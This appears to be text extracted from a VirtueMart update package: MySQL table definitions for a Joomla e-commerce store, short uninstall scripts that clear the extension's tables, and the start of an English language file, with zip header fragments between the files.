'0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_paymentmethod_id`), KEY `idx_payment_jplugin_id` (`payment_jplugin_id`), KEY `idx_payment_element` (payment_element,`virtuemart_vendor_id`), KEY `idx_payment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The payment methods of your store' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethod_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for paymentmethods to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_products` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_products` ( `virtuemart_product_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `product_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_sku` char(64), `product_gtin` char(64), `product_mpn` char(64), `product_weight` decimal(10,4), `product_weight_uom` char(7), `product_length` decimal(10,4), `product_width` decimal(10,4), `product_height` decimal(10,4), `product_lwh_uom` char(7), `product_url` char(255), `product_in_stock` int(1) NOT NULL DEFAULT '0', `product_ordered` int(1) NOT NULL DEFAULT '0', `low_stock_notification` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_available_date` datetime NOT NULL default '0000-00-00 00:00:00', `product_availability` char(32), `product_special` tinyint(1), `product_sales` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_unit` varchar(8), `product_packaging` decimal(8,4) UNSIGNED, `product_params` varchar(2000), `hits` int(11) unsigned, `intnotes` varchar(18000), `metarobot` varchar(400), `metaauthor` varchar(400), `layout` char(16), `published` tinyint(1), `pordering` mediumint(2) UNSIGNED NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_id`), KEY `idx_product_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_product_product_parent_id` (`product_parent_id`), KEY `i_product_special` (`product_special`), KEY `i_published` (`published`), KEY `i_pordering` (`pordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All products are stored here.' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_category_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_shoppergroups` -- -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure `#__virtuemart_product_customfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_customfields` ( `virtuemart_customfield_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'field id', `virtuemart_product_id` int(11) NOT NULL DEFAULT '0', `virtuemart_custom_id` int(11) NOT NULL DEFAULT '1' COMMENT 'custom group id', `custom_value` varchar(8000) COMMENT 'field value', `custom_price` decimal(15,5) COMMENT 'price', `custom_param` varchar(12800) COMMENT 'Param for Plugins', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `created_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_customfield_id`), KEY `idx_virtuemart_product_id` (`virtuemart_product_id`), KEY `idx_virtuemart_custom_id` (`virtuemart_custom_id`), KEY `idx_published` (`published`), KEY `idx_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_media_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_manufacturers` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(11), `virtuemart_manufacturer_id` smallint(1) UNSIGNED, PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps a product to a manufacturer'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_prices` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_prices` ( `virtuemart_product_price_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` int(11), `product_price` decimal(15,5), `override` tinyint(1), `product_override_price` decimal(15,5), `product_tax_id` int(11), `product_discount_id` int(11), `product_currency` smallint(1), `product_price_publish_up` datetime, `product_price_publish_down` datetime, `price_quantity_start` int(11) unsigned, `price_quantity_end` int(11) unsigned, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_price_id`), KEY `i_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_shoppergroup_id` (`virtuemart_shoppergroup_id`), KEY `dx_product_price_publish_up` (`product_price_publish_up`), KEY `dx_product_price_publish_down` (`product_price_publish_down`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds price records for a product' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_reviews` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_reviews` ( `virtuemart_rating_review_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `comment` varchar(18000), `review_ok` tinyint(1) NOT NULL DEFAULT '0', `review_rates` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_rating` decimal(10,2) NOT NULL DEFAULT '0.00', `review_editable` tinyint(1) NOT NULL DEFAULT '1', `lastip` char(50) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_review_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_ratings` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_ratings` ( `virtuemart_rating_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `rates` int(11) NOT NULL DEFAULT '0', `ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `rating` decimal(10,1) NOT NULL DEFAULT '0.0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_rating_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_votes` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_votes` ( `virtuemart_rating_vote_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `vote` int(11) NOT NULL DEFAULT '0', `lastip` char(50) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_vote_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethods` ( `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shipment_jplugin_id` int(11) NOT NULL DEFAULT '0', `shipment_element` char(50) NOT NULL DEFAULT '', `shipment_params` varchar(19000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shipmentmethod_id`), KEY `idx_shipment_jplugin_id` (`shipment_jplugin_id`), KEY `idx_shipment_element` (shipment_element,`virtuemart_vendor_id`), KEY `idx_shipment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shipment created from the shipment plugins' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for shipment to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shoppergroups` ( `virtuemart_shoppergroup_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shopper_group_name` char(64), `shopper_group_desc` char(128), `custom_price_display` tinyint(1) NOT NULL DEFAULT '0', `price_display` blob, `default` tinyint(1) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shoppergroup_id`), KEY `idx_shopper_group_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_shopper_group_name` (`shopper_group_name`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shopper Groups that users can be assigned to' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_states` ( `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `state_name` char(64), `state_3_code` char(3), `state_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_state_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `idx_state_3_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_3_code`), UNIQUE KEY `idx_state_2_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_2_code`), KEY `i_virtuemart_country_id` (`virtuemart_country_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='States that are assigned to a country' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmusers` ( `virtuemart_user_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `user_is_vendor` tinyint(1) NOT NULL DEFAULT '0', `customer_number` char(32), `perms` char(40) NOT NULL DEFAULT 'shopper', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_user_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_vendor_id`), KEY `i_user_is_vendor` (`user_is_vendor`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds the unique user data' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmuser_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmuser_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for users to shopper group' ; -- -------------------------------------------------------- CREATE TABLE IF NOT EXISTS `#__virtuemart_permgroups` ( `virtuemart_permgroup_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `group_name` char(128), `group_level` int(11), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_permgroup_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds all the user groups' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfields` ( `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `userfield_jplugin_id` int(11) NOT NULL DEFAULT '0', `name` char(255) NOT NULL DEFAULT '', `title` char(255) NOT NULL DEFAULT '', `description` mediumtext, `type` char(70) NOT NULL DEFAULT '', `maxlength` int(11), `size` int(11), `required` tinyint(4) NOT NULL DEFAULT '0', `cols` int(11), `rows` int(11), `value` char(255), `default` char(255), `registration` tinyint(1) NOT NULL DEFAULT '0', `shipment` tinyint(1) NOT NULL DEFAULT '0', `account` tinyint(1) NOT NULL DEFAULT '1', `readonly` tinyint(1) NOT NULL DEFAULT '0', `calculated` tinyint(1) NOT NULL DEFAULT '0', `sys` tinyint(4) NOT NULL DEFAULT '0', `params` varchar(17500), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_account` (`account`), KEY `i_shipment` (`shipment`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the fields for the user information' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfield_values` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfield_values` ( `virtuemart_userfield_value_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `fieldtitle` char(255) NOT NULL DEFAULT '', `fieldvalue` char(255) NOT NULL DEFAULT '', `sys` tinyint(4) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_value_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the different values for dropdown and radio lists' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userinfos` ( `virtuemart_userinfo_id` int(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2) NOT NULL DEFAULT '', `address_type_name` char(32) NOT NULL DEFAULT '', `name` char(64), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64), `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(32) NOT NULL DEFAULT '', `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userinfo_id`), KEY `idx_userinfo_virtuemart_user_id` (`virtuemart_userinfo_id`,`virtuemart_user_id`), KEY `address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Customer Information, BT = BillTo and ST = ShipTo'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vendors` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendors` ( `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `vendor_name` char(64), `vendor_currency` int(11), `vendor_accepted_currencies` varchar(1536) NOT NULL DEFAULT '', `vendor_params` varchar(17000), `metarobot` char(20), `metaauthor` char(64), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_vendor_id`), KEY `idx_vendor_name` (`vendor_name`) -- KEY `idx_vendor_category_id` (`vendor_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Vendors manage their products in your store' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_vendor_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendor_medias` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_waitingusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_waitingusers` ( `virtuemart_waitinguser_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `notify_email` char(150) NOT NULL DEFAULT '', `notified` tinyint(1) NOT NULL DEFAULT '0', `notify_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_waitinguser_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `notify_email` (`notify_email`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores notifications, users waiting f. products out of stock' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_worldzones` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_worldzones` ( `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1), `zone_name` char(255), `zone_cost` decimal(10,2), `zone_limit` decimal(10,2), `zone_description` varchar(18000), `zone_tax_rate` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_worldzone_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The Zones managed by the Zone Shipment Module' AUTO_INCREMENT=1 ; PKtl>\+:com_virtuemart_update/install/uninstall_essential_data.sqlnuW+A-- Remove all essential data DELETE FROM `#__virtuemart_configs`; DELETE FROM `#__virtuemart_adminmenuentries`; DELETE FROM `#__virtuemart_modules`; DELETE FROM `#__virtuemart_orderstates`; DELETE FROM `#__virtuemart_userfields`; DELETE FROM `#__virtuemart_userfield_values`;PKtl>\VUvv9com_virtuemart_update/install/uninstall_required_data.sqlnuW+A-- Remove all required data DELETE FROM `#__virtuemart_permgroups`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_currencies`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_states`;PKtl>\ 4 =com_virtuemart_update/language/en-GB/en-GB.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_ACC_BILL_DEF="- Default (Same as Billing)" COM_VIRTUEMART_ACC_NO_ORDER="You have no existing orders" 